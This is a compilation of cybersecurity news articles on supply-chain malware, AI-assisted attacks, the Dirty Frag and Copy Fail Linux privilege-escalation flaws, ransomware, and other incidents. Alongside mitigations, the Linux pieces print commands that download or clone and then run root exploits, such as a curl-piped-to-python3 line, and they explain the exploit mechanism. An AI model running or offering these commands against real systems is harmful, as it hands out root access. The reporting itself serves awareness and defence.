Microsoft has not publicly attributed the PyPI compromise to Mini Shai-Hulud. Still, the incidents share several characteristics, including malicious code inserted into trusted packages, staged payload downloads, credential theft, and automatic execution during installation or import. That overlap has raised concerns that attackers are increasingly targeting developer infrastructure itself rather than end users directly.

Modern development environments often contain high-value credentials, including GitHub personal access tokens, cloud deployment keys, SSH credentials, npm publishing tokens, and CI/CD system access. A compromised developer workstation or CI runner can therefore provide attackers with a path into much larger software ecosystems, allowing malicious updates to spread through legitimate package distribution channels.

The behavior observed in the compromised Mistralai package reflects that escalation risk. According to Microsoft’s analysis, the injected code silently used curl to retrieve the secondary payload before launching it as a detached background process designed to continue operating independently of the original Python session. The malware also reportedly suppressed execution errors and limited activity to Linux systems, the dominant operating system across servers, cloud environments, and many AI workloads.

Supply-chain attacks have become an increasingly serious concern across the software industry because of the sheer scale at which trusted dependencies are reused. A single compromised package can rapidly propagate into thousands of downstream applications, enterprise environments, and production systems. Major incidents in recent years have included the SolarWinds breach, the event-stream npm compromise, the 3CX supply-chain attack, and the XZ Utils backdoor attempt.

The latest wave appears particularly notable for simultaneously targeting AI tooling, cloud SDKs, and widely used frontend development frameworks. Researchers believe the campaign’s primary objective is credential theft, potentially allowing attackers to compromise additional packages, maintainer accounts, and publishing infrastructure in a cascading chain of ecosystem infections.

Microsoft advised organizations to isolate affected Linux hosts, block outbound connections to the malicious IP address, hunt for indicators including /tmp/transformers.pyz, pgmonitor.py, and pgsql-monitor.service, and rotate any potentially exposed credentials immediately. The compromises are still under investigation, and additional affected packages may emerge as maintainers and security firms continue auditing publishing infrastructure and compromised credentials.

In case you haven't been in the cybersecurity news lately, here's a quick summary: discoveries and exploits of high-profile software vulnerabilities are becoming faster than ever, in part due to AI-assisted code scanning tools. For example, most every Linux distribution recently found itself on the wrong end of the Copy Fail and Dirty Frag privilege escalation vulnerabilities (gaining administrator access with a local account), for which patches hadn't been made widely available as there wasn't enough time between their disclosure and publication.

Himanshu Anand, a security researcher, wrote a lengthy blog post explaining why the industry-standard 90-day disclosure window and associated procedure are effectively dead in this AI-powered world, and his conclusions might lead developers and sysadmins to pick up a stiff drink. On the developer side, he suggests programmers to add LLM to their code push, deployment, and dependency-checking steps as a countermeasure, as attackers are already using LLMs to undercover vunerabilities.

The crux of the matter is the fact that although a bot isn't necessarily any smarter than a human at programming or hunting for security vulnerabilities, a LLM that can do so at full mental capacity 24/7 and is brutally effective at pattern recognition (built with pattern recognition, if we must). The vast majority of security exploits are rooted in specific bad programming habits, something a bot excels at noticing quickly and repeatedly.

Both aforementioned exploits for the Linux kernel took advantage of insecure zero-copy mechanisms (performing calculations on data in-place instead of copying/calculating/replacing). In both cases, although the issues were communicated to the kernel team in advance, they were made public far before the usual 90-day period — just over a week, in the case of Dirty Frag.

Although nobody said it out loud, the general assumption was that white-hat reveals were done with little to no advance warning because the exploits were already in the wild, so there was nothing to gain and everything to lose by keeping them under wraps.

To illustrate this point, Anand presents one of his own bug reports to an unnamed e-shop, wherein he found and reported an unpatched security bug that would let attackers buy expensive items for the princely sum of $0. Much to his surprise, he got a reply stating that 10 (!) other researchers had already reported the issue over six weeks. Conferring with a colleague, they noticed that "LLM-assisted hunters were converging on the same bugs almost simultaneously."

This conclusion is further backed up by triage engineer @d0rsky, who notes that once a new vulnerability is found, he immediately sees "a wave of duplicate reports within days." Quite poignantly, Dorsky posits: "if researchers can replicate these findings so quickly, what's stopping black-hats from doing the same before the issue is fixed?" Anand further drives the point home by saying he made an exploit for a published and patched vulnerability in the React framework in just 30 minutes using LLM tools.

In his conclusion, Anand doesn't mince words, stating that in this new world where non-ethical hackers can so quickly analyze code using AI, the 90-day window protects nobody, and that the usual monthly patch cycles are equally dead, as "[the] 30 day window between vulnerability and fix assumes attackers are slower than your release train." He urges developers to treat "every critical security issue as P0 and fix it immediately," as they can assume that said vulnerability is already under active exploitation. To wit, "if you are reading CVE descriptions while attackers are reading git log --diff-filter=M, you are already behind."

Ironically enough, open-source software enjoys high security standards due to code being publicly available for scrutiny and correction, but LLMs are turning that characteristic into a double-edged sword. Having said that, in the OSS world, a patch can also be created and distributed within hours, something the Mozilla team recently proved by posting 423 security fixes in April alone.

As for closed-source software, well, let's just say that tireless bots are equally good at decompiling and network scanning as they are at source code analysis, and it's likely enough that Microsoft, Apple, or Google will have their Copy Fail moments sooner rather than later. Do read the entirety of Anand's post, as it's quite elucidative.

The Google Threat Intelligence Group (GTIG) has just published a report on the hacktivities of blackhats everywhere, and the painted picture is quite sobering. Not only are attackers predictably using clankers to automate their efforts, but they're also putting them to rather creative use in almost every area of cybercrime, including developing at least one zero-day exploit. Even more concerning, malware that can modify its own source code and create exploit payloads dynamically, and even generate decoy code, has been detected.

The attack in question was a Python script that allowed bypassing 2FA in a "popular open-source, web-based system administration tool." According to the GTIG, the exploit's code bore all the hallmarks of AI usage and abuses a logic flaw. GTIG remarks that for authorization flows, even the latest LLMs "struggle to navigate complex enterprise [...] logic," but they're really good at contextual reasoning. This means they have the ability to read source code and validate the developer's intention versus what's actually implemented, and thus quickly find unconsidered corner cases.

That's only one small slice of the report, though, seeing as GTIG found pervasive usage of AI over a good handful of cybersecurity operation types. Malicious hackers have always had their own software suites for creating and distributing exploits, but they can now rely on bots to significantly augment their capabilities. Agents can alter their source code in real-time or tweak their attack as they go along in an effort to evade detection.

The bots are also used to improve obfuscation in several layers, be it in adding filler code to their attack logic or adding multiple layers of indirection so that the code manages to hide its true intention. Needless to say, all these characteristics make it much harder for security software to detect or contain; examples include CANFAIL and LONGSTREAM.

Software like the PROMPTSPY Android backdoor leverages Google Gemini (the cloud service, not the on-device variant) to deviously manipulate the user's phone. Nifty tricks, including taking screenshots and working out the UI elements presented to the user to then simulate interactions on their behalf, down to capturing PIN/pattern authentication, or intercepting Uninstall button clicks.

Additionally, the GTIG found instances of malware that can modify its own source code and create exploit payloads dynamically, and generate decoy code.

All those real-time morphing abilities extend to phishing and network attacks. For example, malfeasants ask bots to generate a company's organizational chart and generate custom phishing emails laden with real information collected from news, LinkedIn pages, or press releases.

One would imagine that the more data that users provide in their replies, the more convincing the counter-responses can be, too. GTIG says that information collected about financial, internal security, and human resources departments generally makes for the best phishing bait — all expertly cooked to best suit each targeted individual.

Surprising absolutely nobody, GTIG also noticed large-scale operations across a multitude of countries using AI for political purposes. The predictable tactics are generating fake images and videos, but bot usage is becoming more subtle and yet more effective. It's now become easy to generate believable voiceovers or replace just a few words and facial expressions in real video in order to push forward a particular message. Interspersing real footage with fake content for added believability has become a common theme as well.

The GTIG report is long, informative, and goes in-depth about all of the aforementioned topics, plus a few more. It's worth a read, perhaps with your alcoholic beverage of choice by your side.

Here's a question for the systems administrators in the crowd: what's better than one instant-root™️Linux vulnerability that affects most every system since 2017? Two of them, of course. Today's bag of bad news comes by way of the Dirty Frag vulnerability, which uses a mechanism similar to the Copy Fail exploit that's currently setting the Linux server world on fire. This vulnerability affects nearly every Linux install since 2017, and no advance warning was given, so there is no patch available. This appears to be due to a broken embargo that revealed the vulerability before preparations were made.

As a refresher, any local user can instantly get root (administrator) access on an affected box, just by running a small program. The attack does not depend on specific system conditions or timing, as it's a straightforward logic bug. Most every popular Linux distribution since 2017 is affected, including but not limited to current versions of Ubuntu (24 and 26), Arch, RHEL, OpenSUSE, CentOS Stream, Fedora, and Alma. We even tested WSL2 ourselves and sure enough, "root" was the word.

Dirty Frag one-ups its cousin, though, as there are currently zero patches for it at the time of this writing, making it spectacularly dangerous. Even the mainline Linux kernel itself doesn't appear to have any patches, as one colleague of mine reported a successful trigger of the exploit on a CachyOS machine running kernel 7.0.3-1-cachyos, and also on an updated Arch box. Needless to say, keep your eyes peeled for updates and patch your servers the second they're available.

Mercifully, though, the machine gods made the mitigation easy and unlikely to affect the functioning of the vast majority of servers. One needs only to disable the esp4, esp6, and rxrpc modules. These are all related in various degrees to IPSec networking and unlikely to be used unless the machine in question is an IPSec client or server. You can disable the modules in question with:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

The reason why Dirty Frag is catching everyone flat-footed is because although the vulnerability was reported to the Linux kernel team in April 30, an "unrelated third party" broke the embargo for the reveal. The website offers no more detail, but our best theory is that it means the exploit is already in use by malicious actors, prompting the embargo breakage. If you want to test your boxen, you can use:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

As far as technical details go, the story isn't much different than with Copy Fail, relying on exploiting a zero-copy operation by splicing a page cache descriptor into it. The different is that this time around, the fallible code is in the IPSec-related modules. The original vulnerability is "xfrm-ESP Page Cache Write", introduced in kernel commit cac2661c53f3 from 2017, and present across most distros. Since Ubuntu systems' AppArmor plugs that particular hole, the PoC chains a second exploit, "RxRPC Page-Cache Write", added in commit 2dc334f1a63a.

Techies and trains have always had a fairly close relationship, but some people seem to take that relationship to toxic levels. About a month ago, a 23-year-old Taiwanese student "hacked" the country's high-speed rail line using an SDR (Software-Defined Radio) filter and radios, remotely broadcasting a General Alarm sign, and triggering a manual emergency braking procedure.

The event brought four trains to a standstill for 48 minutes until the situation was verified as a false alarm, with reportedly no hard stops executed. Lin, the mind behind the operation, sailed through "seven verification layers" thanks to the fact that the TETRA (Terrestrial Trunked Radio) system in use hadn't had its cryptographic keys rotated in 19 years.

The extracurricular activity was quickly traced back to Lin, who seemingly answered the radio in an awkward manner and hung up. This prompted the train network to immediately review all beacons in use, followed by its CCTV footage. Working with the police, they followed the trail to Lin's home in Taichung. There, they found a laptop alongside several radios. Lin is now out on $3,200 bail while waiting for a trial and a judgment that could have him behind bars for 10 years.

Despite Lin's apparent lack of forethought, the "hack" didn't take much effort, as any radio system that goes 19 years without key rotation easily falls to a low-grade cloning attack. RTL-SDR speculates that the system in question used now-broken TEA1 encryption. However, we believe that since key rotation in TETRA needs to be configured and scheduled at installation, the likely answer is that it just wasn't implemented.

Lin reportedly also had information on how to access the comms of the New Taipei Fire City Department and the Taoyuan International Airport MRT Line. The incident triggered a round of political ping-pong to assess responsibilities for the weak security and a formal review of all aforementioned radio systems.

Democratic Progressive Party Legislator Ho Shin-chun clearly stated, "If a college student could hack into a system as sophisticated as that of the high-speed rail system, what would happen if the same thing happened with the Taiwan Railway Corp’s system?"

As for Lin, he's using the Looney Tunes defense that it was an accidental press of a button on the radio he had in his pocket. It would have been easy for him to conduct himself better and take the ethical route by disclosing the vulnerability to the relevant authorities, as Taiwan appears to have a highly progressive attitude towards civil hacking in all forms.

This is exemplified by the g0v initiative, which calls for open and transparent operations from regular citizens, an ethos that has official government support and was most useful during the COVID-19 pandemic. There's a yearly Presidential Hackathon, too, and Taiwan's National Institute of Cyber Security recently awarded $17,000 for 20 reported vulnerabilities across a range of products.

Security researcher Alexander Hanff, also known as "That Privacy Guy," has published a new analysis claiming that Google Chrome is silently downloading a roughly 4GB on-device AI model to users' machines without notice or consent. According to Hanff, the behavior mirrors a separate issue he recently identified involving Anthropic's desktop software, and together the two cases point to a broader pattern of how large tech companies deploy AI features.

Hanff's earlier report focused on Anthropic's Claude Desktop app, which he says quietly installed a browser integration bridge across multiple Chromium-based browsers on a system, including five browsers he did not even have installed. According to the researcher, this happened without any user prompt or meaningful disclosure, and the integration would reinstall itself if removed. He argues that this kind of silent modification of a user's environment violates both user expectations and, in his view, European privacy law.

That earlier finding serves as context for what Hanff describes as a similar but even larger-scale issue with Chrome. In his latest post, he says Chrome is now writing a file called "weights.bin" to disk, part of the company's on-device AI system based on its lightweight Gemini Nano model. The file is approximately 4GB in size and is downloaded automatically on systems that meet certain hardware requirements. According to Hanff, there is no clear consent flow for this download. He says Chrome does not present a prompt explaining that a multi-gigabyte AI model will be stored locally, nor does it provide a straightforward setting to prevent it. Users who discover and delete the file will find it re-downloaded later unless they disable certain experimental flags or remove Chrome entirely.

To verify what was happening, Hanff conducted a controlled test using a fresh Chrome profile on macOS. He relied on the operating system's filesystem event logs, which record file activity independently of applications. According to his analysis, the browser created the model directory and downloaded the full 4GB payload in the background while no human interaction was taking place. The process completed in just over fourteen minutes, during what appeared to be idle browsing time. He also points to Chrome's own internal state files as corroborating evidence. These show that the browser evaluated the system's hardware capabilities and marked it as eligible for the on-device model before the download occurred. In Hanff's telling, this indicates that Chrome is proactively deciding which users' machines should receive the model, rather than responding to an explicit user action.

Beyond the technical details, Hanff raises legal concerns. He argues that both the Anthropic case and the Chrome case likely violate provisions of EU law, including the ePrivacy Directive's rules on storing data on user devices and the GDPR's requirements around transparency and lawful processing. These claims have not been tested in court, but they reflect a growing tension between aggressive feature rollout and regulatory expectations, particularly in Europe.

(Data above calculated by Alexander Hanff)

A key focus of Hanff's post is the environmental cost of silently distributing a 4GB AI model, where he highlights the perils of distributing a file of this size on a global scale. If deployed across hundreds of millions or billions of devices, Hanff estimates the total emissions impact of simply distributing the file (not even using it) could reach tens of thousands of tons of CO2 equivalent, an amount similar to the annual output of tens of thousands of cars. That estimate depends heavily on possibly dubious assumptions about scale and energy mix, but his broader point, that pushing large binaries to user devices is not free and the cost is externalized, is completely valid regardless of the math.

For many users, the more immediate concern is bandwidth. A 4GB download is trivial on an unlimited fiber connection, but that is very much not the global norm, nor is it common even in the United States. For users whose data is capped, metered, or expensive, including most of the developing world, silently transferring gigabytes of data can have real financial consequences. Even in developed markets, users on mobile hotspots or rural connections may feel the impact acutely. Hanff argues that downloading files of this size without clear notice or consent crosses a very clearly demarcated line, regardless of the feature being delivered.

Taken together, the two cases reinforce a familiar criticism of large technology platforms. According to Hanff, both Anthropic and Google acted first and left users to discover the consequences later. Whether it is silently registering deep system integrations (in the case of Claude Desktop) or downloading multi-gigabyte AI models in the background, the pattern is the same: the user's device is being treated as a deployment target rather than something the user actively controls. That framing may sound harsh, but it aligns with long-standing complaints about "dark patterns" in software design. Features that benefit the platform at the user's cost are enabled by default, buried behind obscure settings, or implemented in ways that make them difficult to remove. Hanff's reporting suggests that the shift toward on-device AI is not changing that dynamic, and in fact may be accelerating it.

Google has not publicly responded in detail to Hanff's findings at the time of writing, and the company may argue that these downloads are tied to legitimate product features and improve privacy by keeping AI processing local. Even so, the core question remains unresolved. If a browser is going to download gigabytes of data onto a user's machine, should that require an explicit opt-in? Hanff's answer is clearly yes. Whether regulators or users ultimately agree may determine how far companies can push this kind of behavior in the future.

The meatspace war with Iran has been spilling into cyberspace as well, and the latest casualty is Canonical. The company behind the ever-popular Ubuntu Linux is in a spot of bother, as the majority of its infrastructure is being hit by a Distributed Denial of Service (DDoS) attack. The attack has reportedly been claimed by Iranian ne'er-do-wells 313 Team, also known as the Islamic Cyber Resistance in Iraq. The attackers requested a virtual meeting with the Canonical staff under threat of continued attacks, but there have been no other public developments.

The most obvious result is that Canonical's, er, canonical Ubuntu download and update mirrors worldwide are sluggish or down entirely, as is the main website. The attack extends to Launchpad, the Snap store, Canonical SSO, and other related services. Thankfully, there are no reports of security compromises affecting package repositories or ISO images, so whichever download spot you find should be safe.

Intentionally or not, this attack comes hot on the heels of the release of Ubuntu 26 LTS, dubbed Resolute Raccoon. As its name and even version number imply, this is a release with an extended support window, meaning it'll be the one installed in servers and workstations worldwide.

Much like yours truly found out yesterday, you may find it difficult to get a hold of Ubuntu 26, package updates, or even the handy WSL2 image. The Linux community is large and spread out, though, so any one of the hundreds of the non-Canonical (pun intended) will suffice. You can find one of the mirrors in the list at launchpad.net; if that link fails to load, you can consult the version on the Wayback Machine here. If you have a torrent client handy, here are the links to the desktop x64 release and the live server x64 version.

Some techies hypothesized that this attack could be related to the disastrous Copy Fail vulnerability, to which most distros, including the extant Ubuntu 24, are vulnerable. That premise is a little shaky, as in the grand scheme of things, just stopping people from updating Ubuntu isn't a world-ender, plus power users and competent sysadmins will apply a workaround or just find a mirror regardless.

It is quite an interesting patch week for Linux systems administrators out there. Researchers at Xint Code have discovered a nasty exploit that instantly grants root access to any local unprivileged user, a nightmare scenario for multi-user servers of various types, including web servers, container environments like Kubernetes, CI/CD pipelines, and more.

The CVE-2026-31431 exploit affects pretty much every Linux distro currently in use and has existed since 2017. Although it's not a zero-day and the kernel has already gotten a patch, the short disclosure window gave distro makers relatively little time to react. Affected variants include (but aren't limited to) Ubuntu 24 (version 26 was just released last week), RHEL 10, Suse 16, and Amazon Linux 2023. Even Windows' WSL2 is affected, and all it takes is 732 bytes to do it.

To check that a system is vulnerable, you can just run "curl https://copy.fail/exp | python3 && su" with a standard unprivileged account — though we should note that you're trusting an online script. The source code for the proof-of-concept is available here if you prefer. If your distro doesn't have a patch available yet, you can try one of two mitigation methods.

If your kernel loads algif_aaed as a module, a simple [ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf ] will suffice. Some distributions, however, compile that functionality right into the kernel core, including RHEL and WSL2. That means that in those instances, you'll have to resort to disallowing users from opening AF_ALG sockets to begin with, via seccomp profiles, AppArmor, or SELinux.

Although the Xint Code security team didn't provide a rationale for publicly disclosing the vulnerability so early, they did mention that they found it with the help of an AI assistant. Given that the source code for the Linux kernel is by definition public, in theory, any serious attacker would find it just as easily. Perhaps the fast reveal was an unfortunate necessity.

As for the exploit mechanism itself, it's fairly devious. AF_ALG is a socket that an application can use to have data encrypted or decrypted by providing it with the data to be and a tag. To perform the attack, you provide a splice of an executable you have access to as the tag; the most obvious one being "su".

The "algif_aead" kernel function, crucially, has an internal optimization that doesn't make a copy of the data to encrypt and copy back; rather, it chains the tag data directly onto the output buffer by reference instead of copying it. As a coincidence, the "authencesn" encryption algorithm involves writing 4 bytes at a fixed offset in its output buffer. Since the tag you spliced — the page data for "su" — is now part of that output, those bytes will get written directly into the kernel's cached copy of the executable.

When you call the executable, it'll be joyfully corrupted, granting administrator access. This all happens in memory, too, so there are no detectable disk writes, and the exploit will also get past many security suites.

VECT, a ransomware-as-a-service (RaaS) that first started circulating online in December 2025, was discovered to host a major bug in its programming. According to Check Point Research (CPR), the ransomware accidentally turned into a wiper after the program unintentionally discarded some nonces needed to decrypt files larger than 128KB. This means that even if a victim were to pay the attackers to unlock their data, no one can undo the damage because the code needed to break the encryption no longer exists. Numerous other problems plague the code, and CPR thinks the code was likely vibe coded using AI.

The ransomware would automatically break apart any file greater than 128KB into four different chunks and then encrypt each one with a random 12-byte nonce written on a single shared output buffer. Unfortunately for the victim, the four nonces share the same buffer address, meaning each new nonce overwrites the older one. So, once the process is complete, only the latest nonce (or the last of the four chunks) is preserved and appended to the file. That means even if the attacker provides the victim with the key to decrypt their data, the fact that only the last nonce of each file greater than 128KB is still attached means that the key will not work.

This isn’t the only flaw that the researchers uncovered with the ransomware — they also saw issues with how the program uses CPU threads, string obfuscation routines that cancel each other out, and misidentified ciphers on its own public reports. VECT operators can pick between three fast, medium, and secure encryption methods, and while the choice is parsed into code, it is never implemented. Another uncommon characteristic of the malware is that it includes Ukraine as a Commonwealth of Independent States (CIS) member, which most have removed from their lists after Russia invaded Ukraine in 2022.

The malware is being presented as a sophisticated tool, with the group behind it appearing as sophisticated hackers. After all, it has multi-platform capabilities capable of attacking Windows, Linux, and even ESXi virtual machines, has partnered with other threat actors like TeamPCP, and has even built its own affiliate network through BreachForums. But because of the major issues affecting VECT, CPR theorized that the organization behind it either used AI tools to generate some of its code or that it relied on an older code base as the starting point for its ransomware.

This isn’t the first time that a major ransomware group has made a mistake in its programming. Just earlier this year, Nitrogen ransomware made a mistake that overwrote part of the encryption public keys with zeros. This meant that even if one possesses the private key, the mangled public keys meant that no one could undo the encryption. Reporting suggests that this was probably caused by a common off-by-one issue related to a developer’s fat-finger mistake.

Still, this does not mean that the community at large should ignore threats like these, even though they seemed to have backfired on their creators. The researchers pointed out that the people behind it have ambition and know what an effective ransomware should look like. It could work on updating VECT to fix the issues that CPR revealed in its report and release a more effective version in the future. More importantly, it already has an existing distribution system, making it easier for the group to infect more systems without starting from scratch.

27 years ago today, on April 26, 1999, a 1 KB virus called CIH detonated its payload on hundreds of thousands of Windows 9x machines worldwide, zeroing out hard drives and flashing junk data to motherboard BIOS chips.

The virus, written by Taiwanese university student Chen Ing-hau at Tatung University in 1998, is believed to have infected around 60 million computers and caused an estimated $40 million in commercial damage, earning the nickname "Chernobyl" because its April 26 trigger date happened to coincide with the anniversary of the 1986 nuclear disaster.

Chernobyl was also known as a space filler virus for the way it concealed itself inside executables. Instead of appending code to the end of a file and inflating its size, CIH scanned Windows Portable Executable files for unused gaps between code sections and split its payload across those spaces. Infected files remained the same size, which defeated the file-size checks that many antivirus tools of the era relied on. At roughly 1 KB, the virus was compact enough to distribute itself across a handful of tiny cavities in a single EXE.

Once running, CIH used an exploit to escalate from processor ring 3 to ring 0, giving it kernel-level access to hook file system calls and silently infect every executable a user opened. It worked only on Windows 95, 98, and ME; Windows NT was immune.

CIH spread globally through pirated software channels in the summer of 1998, but several infections came from legit commercial sources like IBM’s Aptiva PCs, a batch of which shipped with CIH pre-installed in March 1999, one month before the trigger date. Yamaha also distributed an infected firmware update for its CD-R400 drives, and copies of the tool Back Orifice 2000 handed out at DEF CON 7 in July of the same year also carried the virus.

When CIH activated, its dual payload first overwrote the initial megabyte of the boot drive with zeros, destroying the partition table and rendering the disk's contents inaccessible. It then attempted to flash garbage data to the motherboard's BIOS chip, which, if successful, left the machine unable to power on at all without a chip replacement. The BIOS attack worked primarily on systems using certain Intel 430TX-based chipsets with unprotected flash memory.

Despite the scale of the damage, Taiwanese prosecutors couldn’t charge Chen because no victims came forward with a lawsuit, as required under local law at the time, and Chen had claimed he wrote CIH to challenge antivirus vendors who he felt overstated their products' detection capabilities. The incident prompted Taiwan to pass new computer crime legislation.

Toronto police arrested three people involved in an SMS blaster scheme, in which the suspects drove around downtown Toronto with the devices running in the backs of their cars. These appliances mimic cell sites, intercept phone signals, and are used to send fraudulent text messages. The Toronto Police Service said in a news conference streamed on YouTube that this is the first-of-its-kind operation in Canada, and that the threat had ceased once the operation was broken up. Still, the authorities warned that people should remain vigilant, as they can still receive fraudulent texts via traditional channels.

Canadian investigators discovered that the perpetrators had infiltrated tens of thousands of mobile devices connected to the SMS blaster. It recorded 13 million network disruptions. Affect devices were restricted from accessing legitimate cellular networks and emergency services such as 911.

An SMS blaster works by impersonating a cellular network base station, with nearby handsets automatically connecting to it because it's closer and offers a stronger signal than legitimate cell towers. The operators can then send texts that impersonate legitimate institutions to all phones connected to their fake cell site. The fake SMS that these machines send out appear to come from official sources, such as showing the name of a bank or local government, rather than a phone number or contact.

Because the message appears to come from institutions, victims are more likely to trust it and tap the link sent to their phones. From there, the targets are then routed to a website designed to steal their credentials or make them pay fraudulent charges. This is called smishing, and the SMS blaster enables attackers to reach tens of thousands of potential victims directly, without going through official networks. This allows them to bypass protections put in place by telecommunications providers and access the SMS inboxes of people in the vicinity.

“What makes this particularly concerning is the scale and impact,” Toronto Police Deputy Chief Robert Johnson said. “This wasn’t targeting a single individual or business. It had the ability to reach thousands of devices at once. And beyond the financial risk, there are real public safety implications. For instance, when devices are diverted from legitimate networks, even briefly, it interferes with a person’s ability to connect to emergency services.”

The Canadian authorities did not release a photo of the actual device they captured, though. Detective Sergeant Lindsay Riddell said, “The ones we seized in Toronto were uniquely built, and we’re not sharing those publicly for safety reasons.” While cheap SMS-only blasters are primarily used for mass smishing attempts, a different class of devices that operate similarly can pose a threat to national security. IMSI catchers also intercept phone signals, but instead of just sending out fake texts, they can route phone signals from the legitimate network through them. This could potentially allow them to record voice calls and capture device metadata.

The police say that this SMS blaster operation was the first one ever recorded in Canada, but other nations have been dealing with these for years now. In fact, Philippine authorities arrested two Chinese nationals in February this year, operating a similar scheme in which hired drivers carried IMSI devices in the back of their vehicles while loitering near key government installations, military bases, and even the U.S. embassy.

Unauthorized individuals have gained access to Anthropic's cybersecurity-focused AI model, Mythos, a breach that may have exposed a number of Anthropic's proprietary AI models, Bloomberg reports. For a company that markets itself as the responsible, safety- and security-first AI developer, this lapse raises questions about how well Anthropic can protect the data of its customers — and just how good Mythos really is at preventing breaches.

Unfortunately, as capable as any AI model is at finding code bugs that raise security concerns, it can't do much to prevent bugs in third-party provider tools that haven't been vetted by Mythos, nor account for social engineering, which has always been the weakest link in digital security.

They got in through the side door

Anthropic disrupted major institutions with the internal unveiling of Mythos, which it claimed had found thousands of critical exploits in every major browser and operating system. Although there was a lot of marketing hype in the 200+ page mission statement Anthropic released, venerating its own model, some have found success using it to sniff out new bugs. For instance, Mozilla announced that it used Mythos to find and patch over 270 vulnerabilities in the Firefox browser.

Although it has been proven that some older models can find many of the same bugs, they can't do so as quickly, or possibly as well. This new model is genuinely faster at coding and finding vulnerabilities than Claude Opus 4.6, and possibly other models from other developers, too. But it's also good at exploiting those vulnerabilities, which is allegedly why Anthropic limited access to a select number of companies and non-profits.

Because of that, banks and software developers aren't the only parties keen to get an early look at Mythos. A worker at a third-party contractor for Anthropic used their unique access to the company's services to breach Mythos' protected environment and gain access to the model, allegedly using standard internet sleuthing tools used by cybersecurity researchers.

This worker was then able to open up the model to their colleagues, with a small group of unauthorized users now said to have accessed Mythos. Although the group has reportedly not run any cybersecurity-related prompts through Mythos just yet, and has instead only asked it to perform simple tasks like creating websites. This is designed to stop Anthropic catching on to who is using Mythos, thereby making it possible to shut down the group's access.

This all feels familiar

The group that now has access to Mythos was able to gain such privileged permissions by guessing the model's online location based on knowledge of Anthropic's file systems and the naming formats it used for previous models. They garnered this information from a recent hack of an AI feedback recruitment company, Mercor, which is now facing several class action lawsuits for revealing personal information about users. It's also losing major business since the breach, most notably, Meta has paused its contracts with the company.

The irony is that Mercor was hacked via a third-party open source tool called LiteLLM. Where that hack was perpetuated by a group known as TeamPCP, however, the group that targeted Mercor was known as Lapsus$. While it used the LiteLLM compromise to infiltrate Mercor, it had targeted the AI recruitment company deliberately.

Allegedly, around 4TB of data was stolen in the breach. That included sensitive information of its recruitment candidates, including their profiles and personal information. However, Mercor also handles data from model companies, which is why some are reconsidering their contracts with Mercor. Model data is some of the most sensitive information in the world, worth billions. Anthropic's Mythos? Perhaps even more so.

But neither company could protect it.

Anthropic was breached because of a breach at Mercor. This was breached because of a breach at LiteLLM. The layers keep stacking, too, as LiteLLM was allegedly breached because of fake security credentials from a third-party provider of its own, Delve, as TechCrunch reports.

Only as strong as the weakest link

As much as Anthropic's marketing for Mythos might be heavy on the spin and deliberately fearmongering for attention, an AI model that can help make software more secure is a good thing. It's great that Mozilla has fixed hundreds of vulnerabilities, and even though it is possible this could have occurred with other models, if other organizations and developers use Mythos to do the same, that's great too.

But the unauthorized Mythos access and the chain of breaches of third-party tools that enabled it highlight one thing: You are only as secure as the weakest link in your chain. Often with cybersecurity, that's the human element. Social engineering is a crucial attack vector in 2026. Especially as tools like Mythos close more code-based vulnerabilities.

But as agentic AI grows in popularity and capability, more tools are integrated, and people hand over more personal data to AI assistants to automate workflows, the security issues are only compounding. Trusting third parties without oversight can be the downfall of companies worth billions.

Many of the latest AI endeavors are assuming trust throughout the stack of dependencies, anyway. As the Mythos breach shows, that could be a house of cards waiting to tumble.

The UK’s Government Communications Headquarters (GCHQ), a counterpart to the U.S.’s National Security Agency (NSA), just launched SilentGlass through the National Cyber Security Center (NCSC). This little gadget was announced during CYBERUK, a government-sponsored cyber security conference, and is designed to block malicious traffic traveling between a display and a PC. According to the NCSC, it built and designed this plug-and-play device to protect government estates and has been “approved for use in the most high-threat environments.”

The government has since licensed the design to Goldilock Labs, a UK-based cybersecurity firm that specializes in hardware that automatically cuts physical connections during a cyberattack, limiting potential damage to a network. It has partnered with Sony UK Technology Center to make the product available globally, although the firm has yet to put the product publicly available on the market.

“Display screens and monitors are everywhere in modern business environments, and the SilentGlass device will help protect previously vulnerable IT infrastructure with unprecedented ease,” NCSC Chief Technology Officer Ollie Whitehouse said, “Its development and commercialization show the impact that the NCSC can have, alongside industry partners, with an affordable and effective product now globally available.” Goldilock Labs co-founder Stephen Kines also said, “SilentGlass addresses a gap that has been widely overlooked. The hardware interfaces people rely on every day have rarely been treated as security boundaries, despite being exposed to risk through supply chains, third-party servicing, and direct physical access.”

While SilentGlass is an interesting security device, some information security experts question the actual need for it. Cybersecurity expert Scott McGready said on X, “Can anyone genuinely tell me what risk this is addressing or is it a solution in search of a problem?” After all, most common cyberattacks do not use video signals as an attack vector. Nevertheless, that does not mean that it’s impossible to take advantage of HDMI and DisplayPort to exfiltrate information.

Way back in 2020, a research paper revealed a technique which subtly changed monitor brightness to steal data from air-gapped PCs, while a more recent study showed that AI can use signals leaking from HDMI cables to reconstruct what the target computer is displaying. These aren’t likely problems for the billions of home and office computers around the globe, as these techniques are complicated and would often cost more to deploy than the potential data they can gather from the average civilian.

However, these vulnerabilities could be potential weak links in the security of government agencies and defense companies that deal with sensitive information. This makes them targets for nation-states who have the means and resources to use these attack vectors. The UK government has reportedly deployed this little gadget in some of its computers, and it’s now making it available for anyone else to purchase. We don’t have pricing for SilentGlass yet, but this likely won’t interest the average PC user. But for users who deal with state secrets and confidential technologies, this gadget could potentially protect their systems from a potential vulnerability that will most likely be used by technically advanced adversaries.

Angelo Martino, a 41-year-old former ransomware negotiator at the incident response firm DigitalMint, has pleaded guilty to conspiring with the ALPHV/BlackCat ransomware gang to extort five U.S. companies whose data his employer had been hired to protect, the Department of Justice announced on Monday.

Martino, of Land O’Lakes, Florida, is the third and final member of a trio of cybersecurity professionals charged in the scheme; his co-conspirators, Ryan Clifford Goldberg and Kevin Tyler Martin, pleaded guilty in December. Newly unsealed court filings put the total ransom payments across the insider-assisted attacks at more than $75 million, with two of the payments individually exceeding $25 million.

